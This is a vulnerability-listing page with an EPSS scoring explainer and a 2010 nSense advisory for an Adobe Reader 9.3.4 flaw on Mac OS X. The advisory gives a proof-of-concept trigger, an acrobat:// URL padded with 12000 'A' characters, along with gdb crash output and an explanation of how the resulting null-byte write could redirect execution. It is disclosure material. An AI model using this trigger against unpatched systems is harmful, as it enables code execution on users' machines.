EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

nSense Vulnerability Research Security Advisory NSENSE-2010-001 --------------------------------------------------------------- Affected Vendor: Adobe Affected Product: Adobe Reader 9.3.4 for Macintosh Platform: OS X Impact: User assisted code execution Vendor response: Patch Credit: Knud / nSense Description: Adobe Acrobat and Reader are prone to a remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application. Adobe Reader and Acrobat versions prior to and including 9.3.4 and 8.2.4 are affected. NOTE: This issue only affects Adobe Reader and Acrobat running on Apple Mac OS X Technical details --------------------------------------------------------------- terminal 1: $ gdb --waitfor=AdobeReader terminal 2: $ open acrobat://`perl -e 'print "A" x 12000'` terminal 1: (gdb) cont [snip] Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xc00013d2 0x7ffa0d6a in AcroBundleThreadQuitProc () (gdb) set disassembly-flavor intel (gdb) x/i $pc 0x7ffa0d6a <AcroBundleThreadQuitProc+2608>: mov BYTE PTR [ebp+eax-0x420],0x0 (gdb) i r ebp eax ebp 0xbfffe908 0xbfffe908 eax 0x2eea 12010 (gdb) As can be seen from the above, we control the value in eax (in this case 12010, the length of the acrobat:// + the 12000 A's). This allows us to write the null byte anywhere in memory between ebp-0x420 (0xBFFFE4E8) and the end of the stack. The behaviour may be leveraged to modify the frame pointer, changing the execution flow and thus permitting arbitrary code execution in the context of the user running the program.
